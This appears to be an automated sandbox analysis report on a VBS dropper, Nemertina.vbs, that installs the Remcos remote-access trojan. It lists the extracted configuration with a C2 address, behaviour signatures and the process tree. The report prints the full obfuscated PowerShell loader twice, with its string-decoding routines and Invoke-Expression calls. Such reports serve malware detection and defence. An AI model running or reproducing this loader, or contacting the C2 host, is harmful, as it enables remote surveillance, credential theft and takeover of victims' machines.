Analysis
- max time kernel
149s - max time network
149s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
04/06/2026, 09:22
General
- Target Nemertina.vbs
- Size 51KB
- Sample260604-lb5clabz21
- SHA256 f7e70f307fd5783e7f0e45c49bd863fc99d736721965af2c00d982bed386fa32
Score
10/10
Malware Config
Extracted
Family
-
remcos
Version
-
7.2.5 Pro
Botnet
-
RemoteHost
C2
-
102.220.160.21:2404
Attributes
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-FOVHV5
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- outlook_office_path 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Nemertina.vbs"1⤵
- Badlisted process makes network request
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\ping.exeping Bera_6637.6637.6637.657e2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "mp 'oppositionsblokken' 'ibm' 'bisampelsens';$conrail178=4;$nebalia=55;function brillanter ($hvnede,$langturenes) {$elektronikfirmaer=terrazzogulvets('Vanelike Blodbges nihilistiske Bakkenbart Weightliftingppp [wwwwirrrrnZZZZtJ JJ]JJJJ$* **h q qv X.Xn^^^^err.rdcccceLLLL .|||-AAAAbyyyyx') ;$elektronikfirmaer+=terrazzogulvets('Andelssystemerne Syngende Arbejde Vinten PodophthalmitelllloM,MMr || wwww[ ##i====n GGGtDD.D].III$YYYYlJJJ aYYYYnddddgQQ QtXXXXuzzzzrXXXXeYYYYn ;;;e gggsBBBB ');;Stderis ($elektronikfirmaer)}function terrazzogulvets ($unfixable) { $tvelys=$conrail178+$nebalia; do {$solrettes+=$unfixable[$tvelys];$tvelys+=5} while ($unfixable[$tvelys])$solrettes}function Stderis ($quantulum) {&($opfrer) $quantulum}Function Kymograph ($unfixable,$clam=0){ ;$finhed=terrazzogulvets('Flavored Blusning Newbornness Blotlgning Vanskeliggres BBBB$jjjjsSSSScSSSSr ^^^ikkkkpnnnntjjjj:ZZZZhFF FaI IImmm,mr LLLeY YYsiiii=bbbb[ o oC ///o');$finhed+=terrazzogulvets('Skrmbilledernes Haabefuld overglanced Neddysser racketellllnA AAviiiie KKKrqqqqtWWWW]');$finhed+=$chanters;$finhed+=terrazzogulvets('Calligrapha Mentholated printerporte IdentitetsantagelsyyyyFEEE r ZZZo****m jjjB||||apppps <<<e!!.!6HHHH4||||SUUUUtl llr.~~~iyy,yn????g;;;;(##,#$aaaauqq qnbbbbf hhhi ___x==.=a h hbxxxxl qqqe **,)');Stderis ($finhed);For($tvelys=0; $hamres[$tvelys] -ne $discontinuee; $tvelys++){$hamres[$tvelys] = brillanter $hamres[$tvelys] $tiloversbleven[$tvelys%5]}$utrovrdiges=terrazzogulvets('Uranberigelsen Gametic Letforstaaelige Ejendomsrettighe.eee$xxxxg####l- --o vvvb >,>a SSSl BB,:<<<<a?? ?sUUUUtppppr ppaAAAAi::,:noooo=RRRR[');$utrovrdiges+=terrazzogulvets('Snage Intellektualistens Papilliform Racahout Indvortes ###TVVV ehhhhxAAAAt');$utrovrdiges+=$safetied;$utrovrdiges+=terrazzogulvets('Vandrehjemmets Octals profiteres Kursusbog TndeslagningEEEEEuuuun;;; cJJJJo K,KdCCCCiLLLLn>>>>gwwww]');$utrovrdiges+=$chanters;$utrovrdiges+=terrazzogulvets('Opinionsdannelser Superimprobableness Badedragternes An;; ;A');$utrovrdiges+=terrazzogulvets('Intersonant Jdeharpe Antitoksinerne Unsprightliness Pin=.==S');$utrovrdiges+=terrazzogulvets('Steerswoman supercolumnar Muges Klendes Archnesses DommQQQQC');$utrovrdiges+=terrazzogulvets('Unspecializeds Canarian Kruset manifesta Crociate Ekspo ###I');$utrovrdiges+=terrazzogulvets('Aaron Peroneocalcaneal Unexpectantly euphemias graplins NNNI');$utrovrdiges+=$safetied;$utrovrdiges+=terrazzogulvets('Negaters Oscillatorer Lavkomikken Danners engages Vrelsoo.oGXX Xe ZZZt HHHS EEtq,qqr hhhi UUUn||||gjjjj(aaa $ TT.hrrrra iiimAAA.r;;;;e&&&&sUUUU)');Stderis ($utrovrdiges);if ($clam) { Stderis $astrain}else {;$astrain}}$tiloversbleven=@(66,101,100,114,118);$opfrer=terrazzogulvets 'Scult Counterplan Phrenocardia kornfedet Nontheistical mmmmI';$hvnederbejdsmssigt='\Ammoniakindhold.Bom';$safetied=terrazzogulvets('Sheristadar Domnenavnes Forenklingerne Microseismic Mar*** .');$opfrer+=terrazzogulvets 'soberizing pettling Hardshell Medgivet Stvlungens Elfen====E';$chanters=terrazzogulvets('Sildetnderne Byrder sativa Unegoistically Brebrs Bravad GGG:ww w:');$opfrer+=terrazzogulvets 'Neocolonial Assentatious Disappeared Votress klassestte,cccX';$rammelovs=Kymograph 'd0tUUl4VDAoWGTUWRDwiYlRUXEZ5RTMbGHRRX1IOdFFfUgQ0X1VHRmxVTVIxJwYPHVlwVVVCRnNVVVIwKxcBFBk6SlVHRmxV';$bourran=Kymograph 'KhEQAgV4SksWBCsTAVwRLQoDHhNsBgsfWTcGWxcOMgoWBksmChMcGi0EAFQfJlhVFAQtURAWDyMvOx4bE1U8OhsaESg+OzNTCBhFMFVQMAE=';$mabel=Kymograph 'fA==';;Kymograph 'ZgIIHRQjCV4bGDYXBQIFOwYMGxUjCQgLS2YACgRMIxUUFhc2BE9WHjQLARYTMAcBGBIxCBcBHyUR' 1;Kymograph 'ZgIIHRQjCV4WGSAHAR4CIAASGxIxEQwXEn9BBh0DMBcFHFgxFQgbAmpBCRMUJwlN' 1;Kymograph 'GSsBBlgRABYEHyEANB0fLBEpExgjAgEAK3hfNxcVNxcNBg8SFwsGGSEKCE9FclJW' 1;$bourran=$dobbeltbevidsthed[0];$sifflet=(Kymograph 'ZgIIHRQjCV4YGTAQCgFLDAATXzkgDwERAmIrAQZYFQAGMRorAAoG');Stderis ($sifflet);Kymograph 'Zg8LAAMsFko6EyMBAQAFGT4qFwJsLRAGBhAAFQcTMREsFxcmABYvQnI4WVYEIwgJFxotExc=' 1;$tllevariabel=Kymograph 'BgoTHBotBAA0Hy4A';$hooch=Kymograph 'Zg8LAAMsFkpWAi4JAQQXMAwFEBMuSy0cAC0OAVpSIAoRAAQjC0hWFCcRChkFLQgXBl8=';$betnksomst=$intrapsychically;Kymograph 'ZgIIHRQjCV4GHy4WDwcSMVhMJhMxEUkiFzYNRFYUJxEKGQUtCBcGXw==' 1;while (!$tilskuds) {Kymograph 'ZgIIHRQjCV42GS8IARYXJQAKT1I2FxEX' 1;Stderis $hooch;Kymograph 'EQkBFwZqUU0=' 1;Kymograph 'ZgIIHRQjCV4GHy4WDwcSMVhMJhMxEUkiFzYNRFYUJxEKGQUtCBcGXw==' 1 ;Kymograph 'ZgIIHRQjCV4GHyYLABcYMVhAFRotBwUeTDcLBhMVNgAWGxcuTk9XUiYKBhATLhEGFwArARcGHicBShEZNwsQ' 1;$bourran=$dobbeltbevidsthed[$tidndens]}$meteorism=143901;$langturenesranchekyndige=19347;Kymograph 'ZgIIHRQjCV4XBC0BAQATfwIHUlIgABAcHTEKCQEC' 1;Kymograph 'ZgIIHRQjCV4nBiYMEhcFfz4nHRg0ABYGK3hfIgAZLycFARN0UTcGBCsLA1pSJxcLFhMwAE0=' 1;Kymograph 'ZgIIHRQjCV4RFywQCk8tFgAcBlgHCwcdEisLAy9MeCQ3MT8LSyMXAhERFhsYJU1AJwYmDBIXBWs=' 1;Kymograph 'ZgIIHRQjCV4RFzYAFhsYJRYSGwQpFgsfHicBAQAYJ1hAERcsEApcBTcHFwYEKwsDWlIvABAXGTAMFx9aZgkFHBE2EBYXGCcWFhMYIQ0BGQ8sAQ0VE2s=' 1;Stderis $cateringsvirksomhederne;"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "mp 'oppositionsblokken' 'ibm' 'bisampelsens';$conrail178=4;$nebalia=55;function brillanter ($hvnede,$langturenes) {$elektronikfirmaer=terrazzogulvets('Vanelike Blodbges nihilistiske Bakkenbart Weightliftingppp [wwwwirrrrnZZZZtJ JJ]JJJJ$* **h q qv X.Xn^^^^err.rdcccceLLLL .|||-AAAAbyyyyx') ;$elektronikfirmaer+=terrazzogulvets('Andelssystemerne Syngende Arbejde Vinten PodophthalmitelllloM,MMr || wwww[ ##i====n GGGtDD.D].III$YYYYlJJJ aYYYYnddddgQQ QtXXXXuzzzzrXXXXeYYYYn ;;;e gggsBBBB ');;Stderis ($elektronikfirmaer)}function terrazzogulvets ($unfixable) { $tvelys=$conrail178+$nebalia; do {$solrettes+=$unfixable[$tvelys];$tvelys+=5} while ($unfixable[$tvelys])$solrettes}function Stderis ($quantulum) {&($opfrer) $quantulum}Function Kymograph ($unfixable,$clam=0){ ;$finhed=terrazzogulvets('Flavored Blusning Newbornness Blotlgning Vanskeliggres BBBB$jjjjsSSSScSSSSr ^^^ikkkkpnnnntjjjj:ZZZZhFF FaI IImmm,mr LLLeY YYsiiii=bbbb[ o oC ///o');$finhed+=terrazzogulvets('Skrmbilledernes Haabefuld overglanced Neddysser racketellllnA AAviiiie KKKrqqqqtWWWW]');$finhed+=$chanters;$finhed+=terrazzogulvets('Calligrapha Mentholated printerporte IdentitetsantagelsyyyyFEEE r ZZZo****m jjjB||||apppps <<<e!!.!6HHHH4||||SUUUUtl llr.~~~iyy,yn????g;;;;(##,#$aaaauqq qnbbbbf hhhi ___x==.=a h hbxxxxl qqqe **,)');Stderis ($finhed);For($tvelys=0; $hamres[$tvelys] -ne $discontinuee; $tvelys++){$hamres[$tvelys] = brillanter $hamres[$tvelys] $tiloversbleven[$tvelys%5]}$utrovrdiges=terrazzogulvets('Uranberigelsen Gametic Letforstaaelige Ejendomsrettighe.eee$xxxxg####l- --o vvvb >,>a SSSl BB,:<<<<a?? ?sUUUUtppppr ppaAAAAi::,:noooo=RRRR[');$utrovrdiges+=terrazzogulvets('Snage Intellektualistens Papilliform Racahout Indvortes ###TVVV ehhhhxAAAAt');$utrovrdiges+=$safetied;$utrovrdiges+=terrazzogulvets('Vandrehjemmets Octals profiteres Kursusbog TndeslagningEEEEEuuuun;;; cJJJJo K,KdCCCCiLLLLn>>>>gwwww]');$utrovrdiges+=$chanters;$utrovrdiges+=terrazzogulvets('Opinionsdannelser Superimprobableness Badedragternes An;; ;A');$utrovrdiges+=terrazzogulvets('Intersonant Jdeharpe Antitoksinerne Unsprightliness Pin=.==S');$utrovrdiges+=terrazzogulvets('Steerswoman supercolumnar Muges Klendes Archnesses DommQQQQC');$utrovrdiges+=terrazzogulvets('Unspecializeds Canarian Kruset manifesta Crociate Ekspo ###I');$utrovrdiges+=terrazzogulvets('Aaron Peroneocalcaneal Unexpectantly euphemias graplins NNNI');$utrovrdiges+=$safetied;$utrovrdiges+=terrazzogulvets('Negaters Oscillatorer Lavkomikken Danners engages Vrelsoo.oGXX Xe ZZZt HHHS EEtq,qqr hhhi UUUn||||gjjjj(aaa $ TT.hrrrra iiimAAA.r;;;;e&&&&sUUUU)');Stderis ($utrovrdiges);if ($clam) { Stderis $astrain}else {;$astrain}}$tiloversbleven=@(66,101,100,114,118);$opfrer=terrazzogulvets 'Scult Counterplan Phrenocardia kornfedet Nontheistical mmmmI';$hvnederbejdsmssigt='\Ammoniakindhold.Bom';$safetied=terrazzogulvets('Sheristadar Domnenavnes Forenklingerne Microseismic Mar*** .');$opfrer+=terrazzogulvets 'soberizing pettling Hardshell Medgivet Stvlungens Elfen====E';$chanters=terrazzogulvets('Sildetnderne Byrder sativa Unegoistically Brebrs Bravad GGG:ww w:');$opfrer+=terrazzogulvets 'Neocolonial Assentatious Disappeared Votress klassestte,cccX';$rammelovs=Kymograph 'd0tUUl4VDAoWGTUWRDwiYlRUXEZ5RTMbGHRRX1IOdFFfUgQ0X1VHRmxVTVIxJwYPHVlwVVVCRnNVVVIwKxcBFBk6SlVHRmxV';$bourran=Kymograph 'KhEQAgV4SksWBCsTAVwRLQoDHhNsBgsfWTcGWxcOMgoWBksmChMcGi0EAFQfJlhVFAQtURAWDyMvOx4bE1U8OhsaESg+OzNTCBhFMFVQMAE=';$mabel=Kymograph 'fA==';;Kymograph 'ZgIIHRQjCV4bGDYXBQIFOwYMGxUjCQgLS2YACgRMIxUUFhc2BE9WHjQLARYTMAcBGBIxCBcBHyUR' 1;Kymograph 'ZgIIHRQjCV4WGSAHAR4CIAASGxIxEQwXEn9BBh0DMBcFHFgxFQgbAmpBCRMUJwlN' 1;Kymograph 'GSsBBlgRABYEHyEANB0fLBEpExgjAgEAK3hfNxcVNxcNBg8SFwsGGSEKCE9FclJW' 1;$bourran=$dobbeltbevidsthed[0];$sifflet=(Kymograph 'ZgIIHRQjCV4YGTAQCgFLDAATXzkgDwERAmIrAQZYFQAGMRorAAoG');Stderis ($sifflet);Kymograph 'Zg8LAAMsFko6EyMBAQAFGT4qFwJsLRAGBhAAFQcTMREsFxcmABYvQnI4WVYEIwgJFxotExc=' 1;$tllevariabel=Kymograph 'BgoTHBotBAA0Hy4A';$hooch=Kymograph 'Zg8LAAMsFkpWAi4JAQQXMAwFEBMuSy0cAC0OAVpSIAoRAAQjC0hWFCcRChkFLQgXBl8=';$betnksomst=$intrapsychically;Kymograph 'ZgIIHRQjCV4GHy4WDwcSMVhMJhMxEUkiFzYNRFYUJxEKGQUtCBcGXw==' 1;while (!$tilskuds) {Kymograph 'ZgIIHRQjCV42GS8IARYXJQAKT1I2FxEX' 1;Stderis $hooch;Kymograph 'EQkBFwZqUU0=' 1;Kymograph 'ZgIIHRQjCV4GHy4WDwcSMVhMJhMxEUkiFzYNRFYUJxEKGQUtCBcGXw==' 1 ;Kymograph 'ZgIIHRQjCV4GHyYLABcYMVhAFRotBwUeTDcLBhMVNgAWGxcuTk9XUiYKBhATLhEGFwArARcGHicBShEZNwsQ' 1;$bourran=$dobbeltbevidsthed[$tidndens]}$meteorism=143901;$langturenesranchekyndige=19347;Kymograph 'ZgIIHRQjCV4XBC0BAQATfwIHUlIgABAcHTEKCQEC' 1;Kymograph 'ZgIIHRQjCV4nBiYMEhcFfz4nHRg0ABYGK3hfIgAZLycFARN0UTcGBCsLA1pSJxcLFhMwAE0=' 1;Kymograph 'ZgIIHRQjCV4RFywQCk8tFgAcBlgHCwcdEisLAy9MeCQ3MT8LSyMXAhERFhsYJU1AJwYmDBIXBWs=' 1;Kymograph 'ZgIIHRQjCV4RFzYAFhsYJRYSGwQpFgsfHicBAQAYJ1hAERcsEApcBTcHFwYEKwsDWlIvABAXGTAMFx9aZgkFHBE2EBYXGCcWFhMYIQ0BGQ8sAQ0VE2s=' 1;Stderis $cateringsvirksomhederne;"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
-
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
- outlook_office_path
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_ke2nb1j4.y1r.ps1
Ammoniakindhold.Bom
memory/2312-70-0x0000000000F50000-0x0000000002267000-memory.dmp
memory/2312-69-0x0000000000F50000-0x0000000002267000-memory.dmp
memory/2312-53-0x0000000000F50000-0x0000000002267000-memory.dmp
memory/2312-51-0x0000000000F50000-0x0000000002267000-memory.dmp
memory/2312-79-0x0000000000F50000-0x0000000002267000-memory.dmp
memory/2312-78-0x0000000000F50000-0x0000000002267000-memory.dmp
memory/2312-62-0x000000001E390000-0x000000001E487000-memory.dmp
memory/2312-77-0x0000000000F50000-0x0000000002267000-memory.dmp
memory/2312-76-0x0000000000F50000-0x0000000002267000-memory.dmp
memory/2312-75-0x0000000000F50000-0x0000000002267000-memory.dmp
memory/2312-61-0x000000001E390000-0x000000001E487000-memory.dmp
memory/2312-74-0x0000000000F50000-0x0000000002267000-memory.dmp
memory/2312-73-0x0000000000F50000-0x0000000002267000-memory.dmp
memory/2312-72-0x0000000000F50000-0x0000000002267000-memory.dmp
memory/2312-71-0x0000000000F50000-0x0000000002267000-memory.dmp
memory/2312-58-0x000000001E390000-0x000000001E487000-memory.dmp
memory/2892-13-0x0000020627970000-0x0000020627980000-memory.dmp
memory/2892-12-0x0000020627880000-0x00000206278A2000-memory.dmp
memory/2892-4-0x0000020627970000-0x0000020627980000-memory.dmp
memory/2892-5-0x0000020627970000-0x0000020627980000-memory.dmp
memory/2892-16-0x0000020627970000-0x0000020627980000-memory.dmp
memory/2892-17-0x0000020627970000-0x0000020627980000-memory.dmp
memory/3120-22-0x00000000050E0000-0x0000000005102000-memory.dmp
memory/3120-41-0x0000000008880000-0x0000000009F36000-memory.dmp
memory/3120-39-0x0000000008200000-0x000000000887A000-memory.dmp
memory/3120-38-0x00000000075D0000-0x0000000007B76000-memory.dmp
memory/3120-36-0x0000000006490000-0x00000000064AA000-memory.dmp
memory/3120-37-0x00000000064E0000-0x0000000006502000-memory.dmp
memory/3120-35-0x0000000006F20000-0x0000000006FB6000-memory.dmp
memory/3120-34-0x0000000005F90000-0x0000000005FDC000-memory.dmp
memory/3120-33-0x0000000005F50000-0x0000000005F6E000-memory.dmp
memory/3120-31-0x0000000005B30000-0x0000000005E87000-memory.dmp
memory/3120-24-0x0000000005A40000-0x0000000005AA6000-memory.dmp
memory/3120-23-0x00000000059D0000-0x0000000005A36000-memory.dmp
memory/3120-21-0x0000000005230000-0x000000000585A000-memory.dmp
memory/3120-20-0x0000000002770000-0x00000000027A6000-memory.dmp